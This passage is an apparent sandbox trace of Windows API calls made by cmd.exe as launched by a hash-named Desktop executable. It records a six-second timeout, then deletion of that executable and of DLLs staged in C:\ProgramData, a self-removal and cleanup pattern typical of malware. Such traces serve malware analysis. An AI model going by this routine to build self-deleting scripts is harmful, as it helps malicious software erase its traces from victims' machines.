FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.COM", fInfoLevelId=0x1, lpFindFileData=0x19f248, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f248) returned 0xffffffff [0167.960] GetLastError () returned 0x2 [0167.960] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.EXE", fInfoLevelId=0x1, lpFindFileData=0x19f248, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f248) returned 0x5e1028 [0167.960] FindClose (in: hFindFile=0x5e1028 | out: hFindFile=0x5e1028) returned 1 [0167.960] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0167.960] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0167.960] GetConsoleTitleW (in: lpConsoleTitle=0x19f73c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0167.964] InitializeProcThreadAttributeList (in: lpAttributeList=0x19f668, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x19f64c | out: lpAttributeList=0x19f668, lpSize=0x19f64c) returned 1 [0167.964] UpdateProcThreadAttribute (in: lpAttributeList=0x19f668, dwFlags=0x0, Attribute=0x60001, lpValue=0x19f654, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x19f668, lpPreviousValue=0x0) returned 1 [0167.964] GetStartupInfoW (in: lpStartupInfo=0x19f6a0 | out: lpStartupInfo=0x19f6a0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0167.964] GetProcessHeap () returned 0x5e0000 [0167.964] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x5e7970 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0167.964] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0167.965] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0167.966] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0167.966] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0167.966] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0167.966] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0167.966] GetProcessHeap () returned 0x5e0000 [0167.966] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e7970) returned 1 [0167.966] GetProcessHeap () returned 0x5e0000 [0167.966] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xa) returned 0x5e87b0 [0167.966] lstrcmpW (lpString1="\\timeout.exe", lpString2="\\XCOPY.EXE") returned -1 [0167.966] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\timeout.exe", lpCommandLine="timeout /t 6 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\ProgramData", lpStartupInfo=0x19f5f0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="timeout /t 6 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f63c | out: lpCommandLine="timeout /t 6 ", lpProcessInformation=0x19f63c*(hProcess=0xa4, hThread=0xa8, dwProcessId=0x1220, dwThreadId=0xd14)) returned 1 [0168.449] CloseHandle (hObject=0xa8) returned 1 [0168.449] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0168.449] GetProcessHeap () returned 0x5e0000 [0168.449] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5ec480) returned 1 [0168.450] GetEnvironmentStringsW () returned 0x5ec480* [0168.450] GetProcessHeap () returned 0x5e0000 [0168.450] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xb30) returned 0x5ecfb8 [0168.450] FreeEnvironmentStringsA (penv="=") returned 1 [0168.450] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0xffffffff) returned 0x0 [0174.017] GetExitCodeProcess (in: hProcess=0xa4, lpExitCode=0x19f5d4 | out: lpExitCode=0x19f5d4*=0x0) returned 1 [0174.017] CloseHandle (hObject=0xa4) returned 1 [0174.018] _vsnwprintf (in: _Buffer=0x19f6bc, _BufferCount=0x13, _Format="%08X", _ArgList=0x19f5dc | out: _Buffer="00000000") returned 8 [0174.018] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0174.018] GetProcessHeap () returned 0x5e0000 [0174.018] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5ecfb8) returned 1 [0174.018] GetEnvironmentStringsW () returned 0x5ec480* [0174.018] GetProcessHeap () returned 0x5e0000 [0174.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xb30) returned 0x5ecfb8 [0174.018] FreeEnvironmentStringsA (penv="=") returned 1 [0174.018] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0174.018] GetProcessHeap () returned 0x5e0000 [0174.018] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5ecfb8) returned 1 [0174.018] GetEnvironmentStringsW () returned 0x5ec480* [0174.019] GetProcessHeap () returned 0x5e0000 [0174.019] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xb30) returned 0x5ecfb8 [0174.019] FreeEnvironmentStringsA (penv="=") returned 1 [0174.019] GetProcessHeap () returned 0x5e0000 [0174.019] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e87b0) returned 1 [0174.019] DeleteProcThreadAttributeList (in: lpAttributeList=0x19f668 | out: lpAttributeList=0x19f668) [0174.019] GetConsoleTitleW (in: lpConsoleTitle=0x19f950, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0174.020] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0174.020] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0174.021] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0174.021] GetProcessHeap () returned 0x5e0000 [0174.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1bc) returned 0x5eb320 [0174.021] GetProcessHeap () returned 0x5e0000 [0174.021] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5eb320, Size=0xe4) returned 0x5eb320 [0174.021] GetProcessHeap () returned 0x5e0000 [0174.021] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5eb320) returned 0xe4 [0174.021] GetProcessHeap () returned 0x5e0000 [0174.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xea) returned 0x5eb410 [0174.021] GetProcessHeap () returned 0x5e0000 [0174.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1bc) returned 0x5eb508 [0174.021] GetProcessHeap () returned 0x5e0000 [0174.021] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5eb508, Size=0xe4) returned 0x5eb508 [0174.021] GetProcessHeap () returned 0x5e0000 [0174.021] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5eb508) returned 0xe4 [0174.021] GetProcessHeap () returned 0x5e0000 [0174.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xce) returned 0x5eb5f8 [0174.022] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x19f6f8 | out: lpBuffer="C:\\ProgramData") returned 0xe [0174.022] GetProcessHeap () returned 0x5e0000 [0174.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x38) returned 0x5e1028 [0174.022] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x19e768 | out: lpBuffer="C:\\ProgramData") returned 0xe [0174.022] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x19e99c, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x19e9a0, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x19e99c*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0174.022] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0174.022] GetProcessHeap () returned 0x5e0000 [0174.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2c) returned 0x5e1068 [0174.022] GetProcessHeap () returned 0x5e0000 [0174.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x258) returned 0x5eb6d0 [0174.022] _wcsicmp (_String1="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", _String2=".") returned 9 [0174.022] _wcsicmp (_String1="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", _String2="..") returned 9 [0174.022] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 0x20 [0174.023] GetProcessHeap () returned 0x5e0000 [0174.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x210) returned 0x5e8810 [0174.023] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x5e8818 | out: lpBuffer="C:\\ProgramData") returned 0xe [0174.023] SetErrorMode (uMode=0x0) returned 0x0 [0174.023] SetErrorMode (uMode=0x1) returned 0x0 [0174.023] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", nBufferLength=0x104, lpBuffer=0x19edc8, lpFilePart=0x19ed9c | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", lpFilePart=0x19ed9c*="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned 0x62 [0174.023] SetErrorMode (uMode=0x0) returned 0x1 [0174.023] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop")) returned 0x11 [0174.023] GetProcessHeap () returned 0x5e0000 [0174.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x258) returned 0x5e8a28 [0174.023] _wcsicmp (_String1="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", _String2=".") returned 9 [0174.023] _wcsicmp (_String1="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", _String2="..") returned 9 [0174.023] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 0x20 [0174.023] GetProcessHeap () returned 0x5e0000 [0174.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x92) returned 0x5e8c88 [0174.023] GetProcessHeap () returned 0x5e0000 [0174.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x44) returned 0x5e8d28 [0174.023] GetProcessHeap () returned 0x5e0000 [0174.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x44) returned 0x5e8d78 [0174.023] GetProcessHeap () returned 0x5e0000 [0174.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x808) returned 0x5ec480 [0174.024] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", fInfoLevelId=0x0, lpFindFileData=0x5ec48c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5ec48c) returned 0x5e8dc8 [0174.024] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0174.024] NtOpenFile (in: FileHandle=0x19ec9c, DesiredAccess=0x10000, ObjectAttributes=0x19ec64*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec8c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec9c*=0xa8, IoStatusBlock=0x19ec8c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0174.025] RtlReleaseRelativeName () returned 0x19ec7c [0174.025] RtlFreeAnsiString (AnsiString="\\") [0174.025] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19ebc8, FsInformation=0x19ebd0, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19ebc8, FsInformation=0x19ebd0) returned 0x0 [0174.025] CloseHandle (hObject=0xa8) returned 1 [0174.032] FindNextFileW (in: hFindFile=0x5e8dc8, lpFindFileData=0x5ec48c | out: lpFindFileData=0x5ec48c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf526a000, ftCreationTime.dwHighDateTime=0x1d7b433, ftLastAccessTime.dwLowDateTime=0xf526a000, ftLastAccessTime.dwHighDateTime=0x1d7b433, ftLastWriteTime.dwLowDateTime=0xcf909b00, ftLastWriteTime.dwHighDateTime=0x1d7b421, nFileSizeHigh=0x0, nFileSizeLow=0x92400, dwReserved0=0x0, dwReserved1=0x0, cFileName="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cAlternateFileName="7859D0~1.EXE")) returned 0 [0174.033] GetLastError () returned 0x12 [0174.033] FindClose (in: hFindFile=0x5e8dc8 | out: hFindFile=0x5e8dc8) returned 1 [0174.033] GetProcessHeap () returned 0x5e0000 [0174.033] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5ec480) returned 1 [0174.033] GetProcessHeap () returned 0x5e0000 [0174.033] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e8d78) returned 1 [0174.033] GetProcessHeap () returned 0x5e0000 [0174.033] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e8c88) returned 1 [0174.033] GetProcessHeap () returned 0x5e0000 [0174.033] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e8d28) returned 1 [0174.033] GetProcessHeap () returned 0x5e0000 [0174.033] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e8a28) returned 1 [0174.033] GetProcessHeap () returned 0x5e0000 [0174.033] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e8810) returned 1 [0174.033] GetProcessHeap () returned 0x5e0000 [0174.033] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb6d0) returned 1 [0174.033] GetProcessHeap () returned 0x5e0000 [0174.033] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e1068) returned 1 [0174.033] GetProcessHeap () returned 0x5e0000 [0174.034] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e1028) returned 1 [0174.034] GetProcessHeap () returned 0x5e0000 [0174.034] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb5f8) returned 1 [0174.034] GetProcessHeap () returned 0x5e0000 [0174.034] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb508) returned 1 [0174.034] GetConsoleTitleW (in: lpConsoleTitle=0x19f8f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0174.037] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0174.037] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0174.037] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0174.037] GetProcessHeap () returned 0x5e0000 [0174.037] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x64) returned 0x5e1028 [0174.037] GetProcessHeap () returned 0x5e0000 [0174.037] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5e1028, Size=0x34) returned 0x5e1028 [0174.037] GetProcessHeap () returned 0x5e0000 [0174.037] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5e1028) returned 0x34 [0174.037] GetProcessHeap () returned 0x5e0000 [0174.037] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3e) returned 0x5eb508 [0174.037] GetProcessHeap () returned 0x5e0000 [0174.037] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x64) returned 0x5eb550 [0174.037] GetProcessHeap () returned 0x5e0000 [0174.037] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5eb550, Size=0x34) returned 0x5eb550 [0174.037] GetProcessHeap () returned 0x5e0000 [0174.038] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5eb550) returned 0x34 [0174.038] GetProcessHeap () returned 0x5e0000 [0174.038] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x32) returned 0x5eb590 [0174.038] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x19f698 | out: lpBuffer="C:\\ProgramData") returned 0xe [0174.038] GetProcessHeap () returned 0x5e0000 [0174.038] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x38) returned 0x5eb5d0 [0174.038] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x19e708 | out: lpBuffer="C:\\ProgramData") returned 0xe [0174.038] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x19e93c, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x19e940, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x19e93c*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0174.038] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0174.038] GetProcessHeap () returned 0x5e0000 [0174.038] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2c) returned 0x5e1068 [0174.038] GetProcessHeap () returned 0x5e0000 [0174.038] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x258) returned 0x5eb610 [0174.038] _wcsicmp (_String1="*.dll", _String2=".") returned -4 [0174.039] _wcsicmp (_String1="*.dll", _String2="..") returned -4 [0174.039] GetFileAttributesW (lpFileName="C:\\ProgramData\\*.dll" (normalized: "c:\\programdata\\*.dll")) returned 0xffffffff [0174.039] GetLastError () returned 0x7b [0174.039] GetProcessHeap () returned 0x5e0000 [0174.039] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x210) returned 0x5e8810 [0174.039] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x5e8818 | out: lpBuffer="C:\\ProgramData") returned 0xe [0174.039] SetErrorMode (uMode=0x0) returned 0x0 [0174.039] SetErrorMode (uMode=0x1) returned 0x0 [0174.039] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\*.dll", nBufferLength=0x104, lpBuffer=0x19ed68, lpFilePart=0x19ed3c | out: lpBuffer="C:\\ProgramData\\*.dll", lpFilePart=0x19ed3c*="*.dll") returned 0x14 [0174.039] SetErrorMode (uMode=0x0) returned 0x1 [0174.039] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x12 [0174.039] GetProcessHeap () returned 0x5e0000 [0174.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x258) returned 0x5e8a28 [0174.040] _wcsicmp (_String1="*.dll", _String2=".") returned -4 [0174.040] _wcsicmp (_String1="*.dll", _String2="..") returned -4 [0174.040] GetFileAttributesW (lpFileName="C:\\ProgramData\\*.dll" (normalized: "c:\\programdata\\*.dll")) returned 0xffffffff [0174.040] GetLastError () returned 0x7b [0174.040] GetProcessHeap () returned 0x5e0000 [0174.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x14) returned 0x5e7bb0 [0174.040] GetProcessHeap () returned 0x5e0000 [0174.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x26) returned 0x5eb870 [0174.040] GetProcessHeap () returned 0x5e0000 [0174.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x26) returned 0x5eb8a0 [0174.040] GetProcessHeap () returned 0x5e0000 [0174.040] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x808) returned 0x5ec480 [0174.040] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\*.dll", fInfoLevelId=0x0, lpFindFileData=0x5ec48c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5ec48c) returned 0x5eb8d0 [0174.040] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0174.040] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\freebl3.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0174.041] RtlReleaseRelativeName () returned 0x19ec1c [0174.041] RtlFreeAnsiString (AnsiString="\\") [0174.041] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0174.041] CloseHandle (hObject=0xa8) returned 1 [0174.045] FindNextFileW (in: hFindFile=0x5eb8d0, lpFindFileData=0x5ec48c | out: lpFindFileData=0x5ec48c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6a89d5, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4a6a89d5, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4a6c1978, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x217d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozglue.dll", cAlternateFileName="")) returned 1 [0174.045] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0174.046] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\mozglue.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0174.046] RtlReleaseRelativeName () returned 0x19ec1c [0174.046] RtlFreeAnsiString (AnsiString="\\") [0174.046] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0174.046] CloseHandle (hObject=0xa8) returned 1 [0174.048] FindNextFileW (in: hFindFile=0x5eb8d0, lpFindFileData=0x5ec48c | out: lpFindFileData=0x5ec48c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8167db, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4a8167db, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4a89029c, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x6b738, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0174.048] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0174.048] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\msvcp140.dll", 